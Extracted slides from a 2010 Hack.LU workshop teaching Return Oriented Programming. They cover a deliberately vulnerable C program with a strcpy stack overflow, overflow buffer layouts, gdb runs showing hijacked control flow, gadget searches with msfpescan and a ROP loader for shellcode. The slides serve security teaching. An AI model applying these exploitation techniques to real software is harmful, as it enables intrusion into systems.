Slides from my workshop at Hack.LU 2010 in Luxembourg. This workshop introduced the basic concepts of Return Oriented Programming with some hands-on exercises.
3. net-square
DEP
• Hardware enforced (NX).
• Data areas marked non-executable.
– Stack marked non-executable.
– Heap marked non-executable.
• You can load your shellcode in the stack
or the heap...
• ...but you can't jump to it.
4. net-square
EIP control
• Stack - forbidden
• Heap - forbidden
• Binary - OK
• DLLs - OK
Program Image
Heap
Stack
DLL
DLL
DLL
5. net-square
Ret2LibC
• Return to LibC.
• Pioneered by Solar Designer in 1997.
• EIP made to "return to a function".
• Need control of the stack memory.
– We usually have it.
6. net-square
Ret2LibC - how does it work?
• Create a fake frame on the stack.
• After an overflowed function returns...
• ...set the EIP return address to the new
function.
• Append the fake frame.
• New function executes.
– parameters consumed from the fake frame.
• system("/bin/sh")
7. net-square
Return Oriented Programming
• Series of function returns.
• Chained frames.
• Transform EIP based primitives into stubs
that can be "returned into".
• ESP is the new EIP!
9. net-square
Calling a function
• Add two ints x, y.
• add(3,4)
• What does the calling
frame look like?
void add(int x, int y)
{
int sum;
sum = x + y;
printf("%dn", sum);
}
int main()
{
add(3, 4);
}
11. net-square
Return from add(3,4)
• add() is about to return.
• RET after epilogue of add().
• Where does ESP point to?
– immediately before the RET
• What does the stack look like?
13. net-square
Another function
• Stack overflow in
func1.
• Can we call add(5, 6)
after returning from
func1?
void func1(char *s)
{
char buffer[128];
strcpy(buffer, s);
}
int main()
{
func1(argv[1]);
}
16. net-square
Before the RET
buffer
return address from func1
s
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAA
AAAA
AAAA
AAAA
ESP
17. net-square
After the RET
buffer
return address from func1
s
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAA
AAAA
AAAA
AAAA
EIP = 0x41414141
ESP
18. net-square
Return to add()
• Insert a fake frame in the buffer.
• Make func1() return to:
add(01010101, 02020202)
• What does the stack frame look like?
20. net-square
Before func1() returns
buffer
return address from func1
s
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
address of add
return address from add
01010101
02020202
ESP
21. net-square
Return to add()
buffer
return address from func1
s
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
address of add
return address from add
01010101
02020202
ESP
EIP = add()
22. net-square
Return to add()
• By carefully creating a frame...
• ...we can make the program "return to
our function".
• We control the parameters.
• We also control where to jump to after
our function returns.
23. net-square
victim2.c
int main(int argc, char *argv[])
{
add(3, 4);
func1(argv[1]);
}
void func1(char *s)
{
char buffer[128];
strcpy(buffer, s);
}
void print_hello(void)
{
printf("Hello Worldn");
}
void add(int x, int y)
{
int sum;
sum = x + y;
printf("%d + %d = %dn", x, y, sum);
}
stack overflow lurks here!
27. net-square
Overflowing func1()
• Overflow func1 and...
...return to add(01010101, 02020202)
• Create a fake frame.
• Overwrite stack.
• frame1.pl
return from func1
param1
param2
return from add
0x080483de
0x01010101
0x02020202
0x42424242
28. net-square
frame1.pl
• Creates the overflow buffer as follows:
• Set this in an environment variable EGG
and run victim2 with $EGG:
080483deAAAAAA...140...AAAAAA 42424242 01010101 02020202
distance
to EIP
address
of add
return
from add
param1 param2
export EGG=`./frame1.pl`
gdb victim2
(gdb) run $EGG
29. net-square
ESP
• Where will ESP be after returning from
add?
• Verify
080483deAAAAAA...140...AAAAAA 42424242 01010101 02020202
(gdb) x/64 $esp
0xbffff824: 0x01010101 0x02020202 0x08048400 0x40148f50
0xbffff834: 0x40012780 0xbffff858 0x4002e7f7 0x00000002
ESP
30. net-square
Chaining functions
• After add(01010101, 02020202), we want
to run add(03030303, 04040404).
• How should we set up the frames?
• First, study the frame after add() returns.
32. net-square
Where does the new frame go?
AAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA
address of add
42424242
01010101
02020202
address of add
??
03030303
04040404
33. net-square
Where does the new frame go?
• We get only ONE chance at strcpy.
• How do we preserve params 01010101
and 02020202?
• We can only APPEND the second frame
below our first frame.
• We have to UNWIND the first frame
before returning to the second frame.
• Return to epilogue!
35. net-square
Keeping ESP in control
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
address of add
address of POP/POP/RET
01010101
02020202
address of add
42424242
03030303
04040404
Return from func1
Return to add()
Return to POP/POP/RET
POP
POP
ESP
RET - Return to add()
Finally EIP = 0x42424242
36. net-square
frame2.pl
• Creates the overflow buffer as follows:
080483deAAAAAA...140...AAAAAA 0804843d 01010101 02020202
distance
to EIP
address
of add
POP/POP
/RET
param1 param2
080483de 42424242 03030303 04040404
address
of add
return
from add
param1 param2 Use msfelfscan to
find the address of
POP/POP/RET from
victim2 binary.
37. net-square
frame2.pl
• Set this in an environment variable EGG
and run victim2 with $EGG:
export EGG=`./frame2.pl`
gdb victim2
(gdb) run $EGG
Starting program: /home/user0/victim2 $EGG
3 + 4 = 7
1010101 + 2020202 = 3030303
3030303 + 4040404 = 7070707
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
38. net-square
It's all about ESP!
• ESP is the new EIP.
• ROP involves keeping the ESP moving
through the frames on the stack.
• Frames can be chained by returning to
epilogues of functions.
– to appropriately unwind the parameters
pushed on the stack.
• We must never lose sight of RET.
39. net-square
ROP frames - generic approach
f1(A, B)
f2(X)
f1(C, D)
f3(P, Q, R, S)
f2(Y)
:
:
& f1()
& POP/POP/RET
A
B
& f2()
& POP/RET
X
& f3()
& POPAD/RET
P
Q
R
& f1()
& POP/POP/RET
C
D
junk
junk
junk
& f2()
& POP/RET
Y
S
40. net-square
Topics
• Transforming classic EIP code to ROP
• ROP vs. classic programming
• Thinking in ROP terms
• Assembling frames
• Gadgets
• Searching for gadgets
• Generic techniques
41. net-square
EIP vs. ESP
Classic EIP code
• N ops = N instructions.
• EIP increments.
• ESP fluctuates.
• The CPU increments EIP
automatically.
ROP code
• N ops = N frames.
• ESP increments.
• EIP fluctuates.
• We have to control ESP
through RET instructions.
42. net-square
Transform EIP code to ROP
• Load two registers
• Call a function
– with params 3,4
• How does this
translate in ROP
terms?
mov eax, 14
mov ecx, 02500000
push 3
push 4
call 77fe3210
43. net-square
Thinking in ROP terms
??
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
14
ESP
Put 14 in the next stack word, and POP
it into EAX.
RET
function body
epilogue
prologue
vulnerable function
EIP
mov eax, 14
RET
POP EAX
POP EBX
functionX
700344fe
700344fd
700344ff
44. net-square
Thinking in ROP terms
700344fe
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
14ESP
RET
function body
epilogue
prologue
vulnerable function
EIP
Jump to address of "POP EAX; RET".
Search function epilogues.
RET
POP EAX
POP EBX
functionX
mov eax, 14
45. net-square
Thinking in ROP terms
700344fe
??
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
14
02500000
ESP
RET
function body
epilogue
prologue
vulnerable function
EIP
Place 02500000 as the next stack word,
to be loaded into ECX.
RET
POP EAX
POP EBX
functionX
eax = 00000014
mov ecx, 02500000
46. net-square
Thinking in ROP terms
700344fe
6d894430
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
14
02500000
RET
function body
epilogue
prologue
vulnerable function
We now need an address of a "POP ECX;
RET" sequence.
RET
POP EAX
POP EBX
functionX
RET
POP ECX
functionY
ESP EIP
eax = 00000014
mov ecx, 02500000
6d894430
6d894431
47. net-square
Thinking in ROP terms
700344fe
6d894430
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
14
02500000ESP
RET
function body
epilogue
prologue
vulnerable function
02500000 is popped into ECX.
RET
POP EAX
POP EBX
functionX
EIP
RET
POP ECX
functionY
eax = 00000014
mov ecx, 02500000
48. net-square
Thinking in ROP terms
700344fe
6d894430
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
14
02500000
??ESP
RET
function body
epilogue
prologue
vulnerable function
We now need to call a function at
77fe3210, with parameters 3, 4
RET
POP EAX
POP EBX
functionX
EIP RET
POP ECX
functionY
push 3; push 4; call 77fe3210
eax = 00000014 ecx = 02500000
49. net-square
Gadget Dictionary
POP EAX; RET
Load value into
register
value
POP ECX; RET
Read memory at
address
address
ADD EAX,n; RET
Add
MOV EAX,[ECX]; RET
POP EAX; RET
Write value at
address
address
POP ECX; RET
value
MOV [EAX],ECX; RET
INC EAX; RET
Increment
address of function
Call a function
param cleanup
param 1
param 2
RET
NOP
param N
POP; POP ... RET
ADD ESP,24; RET
POPAD; RET
POP EAX; RET
Call a function
pointer
address
CALL [EAX]; RET
XCHG EAX,ESP; RET
Stack flip ESP=EAX
LEAVE; RET
Stack flip ESP=EBP
POP ESP; RET
Stack flip ESP=addr
address
52. net-square
Searching for Gadgets
• Use msfpescan's regex search.
• Example: MOV EAX,[ECX]; RET
msfpescan -D -r 'x8Bx01xC3' <file>
msfpescan -D -r 'x8Bx01xC2.x00' <file>
msfpescan -D -r 'x8Bx01.xC3' <file>
msfpescan -D -r 'x8Bx01..xC3' <file>
• Sometimes you may need to improvise.
53. net-square
Generic Techniques
• Run arbitrary shellcode.
• Difficult to transform entire shellcode to
ROP frames.
• Create a ROP loader:
– Allocate RWX memory
– Copy classic shellcode to this memory
– Jump to shellcode
• Load and run any shellcode.